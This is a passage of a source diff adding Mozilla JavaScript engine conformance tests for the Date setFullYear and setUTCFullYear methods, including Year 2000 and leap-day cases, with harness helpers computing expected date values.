+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.36-1.js
+ ECMA Section: 15.9.5.36 Date.prototype.setFullYear(year [, mon [, date ]] )
+ Description:
+
+ If mon is not specified, this behaves as if mon were specified with the
+ value getMonth( ). If date is not specified, this behaves as if date were
+ specified with the value getDate( ).
+
+ 1. Let t be the result of LocalTime(this time value); but if this time
+ value is NaN, let t be +0.
+ 2. Call ToNumber(year).
+ 3. If mon is not specified, compute MonthFromTime(t); otherwise, call
+ ToNumber(mon).
+ 4. If date is not specified, compute DateFromTime(t); otherwise, call
+ ToNumber(date).
+ 5. Compute MakeDay(Result(2), Result(3), Result(4)).
+ 6. Compute UTC(MakeDate(Result(5), TimeWithinDay(t))).
+ 7. Set the [[Value]] property of the this value to TimeClip(Result(6)).
+ 8. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+ Added test cases for Year 2000 Compatilibity Testing.
+
+*/
+var SECTION = "15.9.5.36-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setFullYear(year [, mon [, date ]] )");
+
+// feb 29, 2000
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(2000);TDATE",
+ UTCDateFromTime(SetFullYear(0,2000)),
+ LocalDateFromTime(SetFullYear(0,2000)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(2000,1);TDATE",
+ UTCDateFromTime(SetFullYear(0,2000,1)),
+ LocalDateFromTime(SetFullYear(0,2000,1)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(2000,1,29);TDATE",
+ UTCDateFromTime(SetFullYear(0,2000,1,29)),
+ LocalDateFromTime(SetFullYear(0,2000,1,29)) );
+
+test();
+
+function addNewTestCase( DateString, UTCDate, LocalDate) {
+ DateCase = eval( DateString );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+function SetFullYear( t, year, mon, date ) {
+ var T = ( isNaN(t) ) ? 0 : LocalTime(t) ;
+ var YEAR = Number( year );
+ var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon );
+ var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date );
+
+ var DAY = MakeDay( YEAR, MONTH, DATE );
+ var UTC_DATE = UTC(MakeDate( DAY, TimeWithinDay(T)));
+
+ return ( TimeClip(UTC_DATE) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.36-7.js b/js/src/tests/ecma/Date/15.9.5.36-7.js
new file mode 100644
index 000000000..31ba9b130
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.36-7.js
@@ -0,0 +1,129 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.36-1.js
+ ECMA Section: 15.9.5.36 Date.prototype.setFullYear(year [, mon [, date ]] )
+ Description:
+
+ If mon is not specified, this behaves as if mon were specified with the
+ value getMonth( ). If date is not specified, this behaves as if date were
+ specified with the value getDate( ).
+
+ 1. Let t be the result of LocalTime(this time value); but if this time
+ value is NaN, let t be +0.
+ 2. Call ToNumber(year).
+ 3. If mon is not specified, compute MonthFromTime(t); otherwise, call
+ ToNumber(mon).
+ 4. If date is not specified, compute DateFromTime(t); otherwise, call
+ ToNumber(date).
+ 5. Compute MakeDay(Result(2), Result(3), Result(4)).
+ 6. Compute UTC(MakeDate(Result(5), TimeWithinDay(t))).
+ 7. Set the [[Value]] property of the this value to TimeClip(Result(6)).
+ 8. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+ Added test cases for Year 2000 Compatilibity Testing.
+
+*/
+var SECTION = "15.9.5.36-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setFullYear(year [, mon [, date ]] )");
+
+// Jan 1, 2005
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(2005);TDATE",
+ UTCDateFromTime(SetFullYear(0,2005)),
+ LocalDateFromTime(SetFullYear(0,2005)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(2005,0);TDATE",
+ UTCDateFromTime(SetFullYear(0,2005,0)),
+ LocalDateFromTime(SetFullYear(0,2005,0)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setFullYear(2005,0,1);TDATE",
+ UTCDateFromTime(SetFullYear(0,2005,0,1)),
+ LocalDateFromTime(SetFullYear(0,2005,0,1)) );
+
+test();
+
+function addNewTestCase( DateString, UTCDate, LocalDate) {
+ DateCase = eval( DateString );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+function SetFullYear( t, year, mon, date ) {
+ var T = ( isNaN(t) ) ? 0 : LocalTime(t) ;
+ var YEAR = Number( year );
+ var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon );
+ var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date );
+
+ var DAY = MakeDay( YEAR, MONTH, DATE );
+ var UTC_DATE = UTC(MakeDate( DAY, TimeWithinDay(T)));
+
+ return ( TimeClip(UTC_DATE) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.37-1.js b/js/src/tests/ecma/Date/15.9.5.37-1.js
new file mode 100644
index 000000000..6200e79e8
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.37-1.js
@@ -0,0 +1,139 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.37-1.js
+ ECMA Section: 15.9.5.37 Date.prototype.setUTCFullYear(year [, mon [, date ]] )
+ Description:
+
+ If mon is not specified, this behaves as if mon were specified with the
+ value getUTCMonth( ). If date is not specified, this behaves as if date
+ were specified with the value getUTCDate( ).
+
+ 1. Let t be this time value; but if this time value is NaN, let t be +0.
+ 2. Call ToNumber(year).
+ 3. If mon is not specified, compute MonthFromTime(t); otherwise, call
+ ToNumber(mon).
+ 4. If date is not specified, compute DateFromTime(t); otherwise, call
+ ToNumber(date).
+ 5. Compute MakeDay(Result(2), Result(3), Result(4)).
+ 6. Compute MakeDate(Result(5), TimeWithinDay(t)).
+ 7. Set the [[Value]] property of the this value to TimeClip(Result(6)).
+ 8. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+ Added some Year 2000 test cases.
+*/
+var SECTION = "15.9.5.37-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setUTCFullYear(year [, mon [, date ]] )");
+
+
+// Dates around 1970
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCFullYear(1970);TDATE",
+ UTCDateFromTime(SetUTCFullYear(0,1970)),
+ LocalDateFromTime(SetUTCFullYear(0,1970)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCFullYear(1971);TDATE",
+ UTCDateFromTime(SetUTCFullYear(0,1971)),
+ LocalDateFromTime(SetUTCFullYear(0,1971)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCFullYear(1972);TDATE",
+ UTCDateFromTime(SetUTCFullYear(0,1972)),
+ LocalDateFromTime(SetUTCFullYear(0,1972)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCFullYear(1968);TDATE",
+ UTCDateFromTime(SetUTCFullYear(0,1968)),
+ LocalDateFromTime(SetUTCFullYear(0,1968)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCFullYear(1969);TDATE",
+ UTCDateFromTime(SetUTCFullYear(0,1969)),
+ LocalDateFromTime(SetUTCFullYear(0,1969)) );
+
+addNewTestCase( "TDATE = new Date(0);(TDATE).setUTCFullYear(1969);TDATE",
+ UTCDateFromTime(SetUTCFullYear(0,1969)),
+ LocalDateFromTime(SetUTCFullYear(0,1969)) );
+
+test();
+
+function addNewTestCase( DateString, UTCDate, LocalDate) {
+ DateCase = eval( DateString );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+function SetUTCFullYear( t, year, mon, date ) {
+ var T = ( t != t ) ? 0 : t;
+ var YEAR = Number(year);
+ var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon );
+ var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date );
+ var DAY = MakeDay( YEAR, MONTH, DATE );
+
+ return ( TimeClip(MakeDate(DAY, TimeWithinDay(T))) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.37-2.js b/js/src/tests/ecma/Date/15.9.5.37-2.js
new file mode 100644
index 000000000..db5e4ee48
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.37-2.js
@@ -0,0 +1,127 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.37-1.js
+ ECMA Section: 15.9.5.37 Date.prototype.setUTCFullYear(year [, mon [, date ]] )
+ Description:
+
+ If mon is not specified, this behaves as if mon were specified with the
+ value getUTCMonth( ). If date is not specified, this behaves as if date
+ were specified with the value getUTCDate( ).
+
+ 1. Let t be this time value; but if this time value is NaN, let t be +0.
+ 2. Call ToNumber(year).
+ 3. If mon is not specified, compute MonthFromTime(t); otherwise, call
+ ToNumber(mon).
+ 4. If date is not specified, compute DateFromTime(t); otherwise, call
+ ToNumber(date).
+ 5. Compute MakeDay(Result(2), Result(3), Result(4)).
+ 6. Compute MakeDate(Result(5), TimeWithinDay(t)).
+ 7. Set the [[Value]] property of the this value to TimeClip(Result(6)).
+ 8. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+ Added some Year 2000 test cases.
+*/
+var SECTION = "15.9.5.37-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setUTCFullYear(year [, mon [, date ]] )");
+
+
+// Dates around 2000
+
+addNewTestCase( "TDATE = new Date(0); TDATE.setUTCFullYear(2000);TDATE",
+ UTCDateFromTime(SetUTCFullYear(0,2000)),
+ LocalDateFromTime(SetUTCFullYear(0,2000)) );
+
+addNewTestCase( "TDATE = new Date(0); TDATE.setUTCFullYear(2001);TDATE",
+ UTCDateFromTime(SetUTCFullYear(0,2001)),
+ LocalDateFromTime(SetUTCFullYear(0,2001)) );
+
+addNewTestCase( "TDATE = new Date(0); TDATE.setUTCFullYear(1999);TDATE",
+ UTCDateFromTime(SetUTCFullYear(0,1999)),
+ LocalDateFromTime(SetUTCFullYear(0,1999)) );
+
+test();
+
+function addNewTestCase( DateString, UTCDate, LocalDate) {
+ DateCase = eval( DateString );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+function SetUTCFullYear( t, year, mon, date ) {
+ var T = ( t != t ) ? 0 : t;
+ var YEAR = Number(year);
+ var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon );
+ var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date );
+ var DAY = MakeDay( YEAR, MONTH, DATE );
+
+ return ( TimeClip(MakeDate(DAY, TimeWithinDay(T))) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.37-3.js b/js/src/tests/ecma/Date/15.9.5.37-3.js
new file mode 100644
index 000000000..e0bfd3941
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.37-3.js
@@ -0,0 +1,130 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.37-1.js
+ ECMA Section: 15.9.5.37 Date.prototype.setUTCFullYear(year [, mon [, date ]] )
+ Description:
+
+ If mon is not specified, this behaves as if mon were specified with the
+ value getUTCMonth( ). If date is not specified, this behaves as if date
+ were specified with the value getUTCDate( ).
+
+ 1. Let t be this time value; but if this time value is NaN, let t be +0.
+ 2. Call ToNumber(year).
+ 3. If mon is not specified, compute MonthFromTime(t); otherwise, call
+ ToNumber(mon).
+ 4. If date is not specified, compute DateFromTime(t); otherwise, call
+ ToNumber(date).
+ 5. Compute MakeDay(Result(2), Result(3), Result(4)).
+ 6. Compute MakeDate(Result(5), TimeWithinDay(t)).
+ 7. Set the [[Value]] property of the this value to TimeClip(Result(6)).
+ 8. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+ Added some Year 2000 test cases.
+*/
+var SECTION = "15.9.5.37-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Date.prototype.setUTCFullYear(year [, mon [, date ]] )");
+
+
+// Dates around 29 February 2000
+
+var UTC_FEB_29_1972 = TIME_1970 + TimeInYear(1970) + TimeInYear(1971) +
+ 31*msPerDay + 28*msPerDay;
+
+var PST_FEB_29_1972 = UTC_FEB_29_1972 - TZ_DIFF * msPerHour;
+
+addNewTestCase( "TDATE = new Date("+UTC_FEB_29_1972+"); "+
+ "TDATE.setUTCFullYear(2000);TDATE",
+ UTCDateFromTime(SetUTCFullYear(UTC_FEB_29_1972,2000)),
+ LocalDateFromTime(SetUTCFullYear(UTC_FEB_29_1972,2000)) );
+
+addNewTestCase( "TDATE = new Date("+PST_FEB_29_1972+"); "+
+ "TDATE.setUTCFullYear(2000);TDATE",
+ UTCDateFromTime(SetUTCFullYear(PST_FEB_29_1972,2000)),
+ LocalDateFromTime(SetUTCFullYear(PST_FEB_29_1972,2000)) );
+
+test();
+
+function addNewTestCase( DateString, UTCDate, LocalDate) {
+ DateCase = eval( DateString );
+
+ new TestCase( SECTION, DateString+".getTime()", UTCDate.value, DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", UTCDate.value, DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", UTCDate.year, DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", UTCDate.month, DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", UTCDate.date, DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", UTCDate.day, DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", UTCDate.hours, DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", UTCDate.minutes,DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", UTCDate.seconds,DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", UTCDate.ms, DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", LocalDate.year, DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", LocalDate.month, DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", LocalDate.date, DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", LocalDate.day, DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", LocalDate.hours, DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", LocalDate.minutes, DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", LocalDate.seconds, DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", LocalDate.ms, DateCase.getMilliseconds() );
+
+ DateCase.toString = Object.prototype.toString;
+
+ new TestCase( SECTION,
+ DateString+".toString=Object.prototype.toString;"+DateString+".toString()",
+ "[object Date]",
+ DateCase.toString() );
+}
+
+function MyDate() {
+ this.year = 0;
+ this.month = 0;
+ this.date = 0;
+ this.hours = 0;
+ this.minutes = 0;
+ this.seconds = 0;
+ this.ms = 0;
+}
+function LocalDateFromTime(t) {
+ t = LocalTime(t);
+ return ( MyDateFromTime(t) );
+}
+function UTCDateFromTime(t) {
+ return ( MyDateFromTime(t) );
+}
+function MyDateFromTime( t ) {
+ var d = new MyDate();
+ d.year = YearFromTime(t);
+ d.month = MonthFromTime(t);
+ d.date = DateFromTime(t);
+ d.hours = HourFromTime(t);
+ d.minutes = MinFromTime(t);
+ d.seconds = SecFromTime(t);
+ d.ms = msFromTime(t);
+
+ d.time = MakeTime( d.hours, d.minutes, d.seconds, d.ms );
+ d.value = TimeClip( MakeDate( MakeDay( d.year, d.month, d.date ), d.time ) );
+ d.day = WeekDay( d.value );
+
+ return (d);
+}
+function SetUTCFullYear( t, year, mon, date ) {
+ var T = ( t != t ) ? 0 : t;
+ var YEAR = Number(year);
+ var MONTH = ( mon == void 0 ) ? MonthFromTime(T) : Number( mon );
+ var DATE = ( date == void 0 ) ? DateFromTime(T) : Number( date );
+ var DAY = MakeDay( YEAR, MONTH, DATE );
+
+ return ( TimeClip(MakeDate(DAY, TimeWithinDay(T))) );
+}
diff --git a/js/src/tests/ecma/Date/15.9.5.37-4.js b/js/src/tests/ecma/Date/15.9.5.37-4.js
new file mode 100644
index 000000000..6d87d2f41
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.5.37-4.js
@@ -0,0 +1,129 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.5.37-1.js
+ ECMA Section: 15.9.5.37 Date.prototype.setUTCFullYear(year [, mon [, date ]] )
+ Description:
+
+ If mon is not specified, this behaves as if mon were specified with the
+ value getUTCMonth( ). If date is not specified, this behaves as if date
+ were specified with the value getUTCDate( ).
+
+ 1. Let t be this time value; but if this time value is NaN, let t be +0.
+ 2. Call ToNumber(year).
+ 3. If mon is not specified, compute MonthFromTime(t); otherwise, call
+ ToNumber(mon).
+ 4. If date is not specified, compute DateFromTime(t); otherwise, call
+ ToNumber(date).
+ 5. Compute MakeDay(Result(2), Result(3), Result(4)).
+ 6. Compute MakeDate(Result(5), TimeWithinDay(t)).
+ 7. Set the [[Value]] property of the this value to TimeClip(Result(6)).
+ 8. Return the value of the [[Value]] property of the this value.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+
+ Added some Year 2000 test cases.
+*/
+var SECTION = "15.9.5.37-1";
